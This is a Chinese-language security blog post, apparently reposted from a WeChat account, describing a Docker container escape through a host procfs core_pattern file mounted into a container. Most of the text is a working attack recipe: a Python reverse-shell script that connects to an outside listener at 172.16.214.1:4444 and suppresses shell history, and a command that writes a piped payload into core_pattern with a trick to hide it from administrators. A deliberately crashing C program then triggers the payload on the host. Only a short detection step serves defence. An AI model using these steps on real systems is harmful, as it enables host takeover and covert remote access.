免责声明
"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"
1. 前言
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
Docker默认情况下不会为容器开启 User Namespace
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。 一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。
2. 搭建
创建一个容器并挂载 /proc 目录
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
3. 检测
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
find / -name core_pattern
4. 复现
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
这就表示当前绝对路径为
/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/word
安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
创建一个反弹 Shell 的 py 脚本
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
给 Shell 赋予执行权限
chmod 777 .t.py
写入反弹 shell 到目标的 proc 目录下,r之后的内容主要是为了为了管理员通过,cat命令查看内容时隐蔽我们写入恶意命令。这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern中的命令(运行成功core_pattern时会有core dumped的输出)。
host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`
echo -e "|$host_path/tmp/./t.py rcore " > /host-proc/sys/kernel/core_pattern
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序 vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t
原文始发于微信公众号(SecretTeam安全团队):Docker逃逸 - 挂载宿主机 procfs 逃逸
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论